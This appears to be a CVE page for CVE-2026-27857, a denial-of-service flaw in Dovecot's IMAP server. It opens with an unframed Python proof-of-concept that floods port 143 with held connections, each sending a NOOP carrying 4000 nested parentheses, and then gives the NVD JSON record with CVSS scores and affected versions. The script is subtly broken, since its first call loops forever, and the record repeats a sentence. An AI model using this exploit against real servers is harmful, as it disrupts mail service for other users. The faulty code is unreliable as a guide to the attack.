CVE-2026-27857

import socket import time TARGET_HOST = 'TARGET_IP' TARGET_PORT = 143 CONNECTIONS = 1000 def create_dos_connection(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) s.recv(1024) # Receive banner # Craft payload: NOOP with 4000 parentheses # Omitting line feed (LF) to keep memory allocated payload = "NOOP " + ("(" * 4000 + ")" * 4000) s.send(payload.encode()) # Hold connection open while True: time.sleep(100) except Exception as e: print(e) for _ in range(CONNECTIONS): create_dos_connection()

{"cve": {"id": "CVE-2026-27857", "sourceIdentifier": "[email protected]", "published": "2026-03-27T09:16:19.917", "lastModified": "2026-04-30T17:42:47.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sending \"NOOP (((...)))\" command with 4000 parenthesis open+close results in ~1MB extra memory usage. Longer commands will result in client disconnection. This 1 MB can be left allocated for longer time periods by not sending the command ending LF. So attacker could connect possibly from even a single IP and create 1000 connections to allocate 1 GB of memory, which would likely result in reaching VSZ limit and killing the process and its other proxied connections. Attacker could connect possibly from even a single IP and create 1000 connections to allocate 1 GB of memory, which would likely result in reaching VSZ limit and killing the process and its other proxied connections. Install fixed version, there is no other remediation. No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.3", "matchCriteriaId": "BE209329-C5EA-4EE7-A23E-CD2EC061A9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionEndExcluding": "2.3.22.1", "matchCriteriaId": "5CF82590-D98A-4E06-AC8C-6CC3506ED923"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.5", "matchCriteriaId": "8476287B-40B2-4533-A3AB-B880516C0B5C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionStartIncluding": "3.1.0", "versionEndExcluding": "3.1.4", "matchCriteriaId": "11CA35AA-72CB-4614-A064-8A90F65D8A71"}]}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}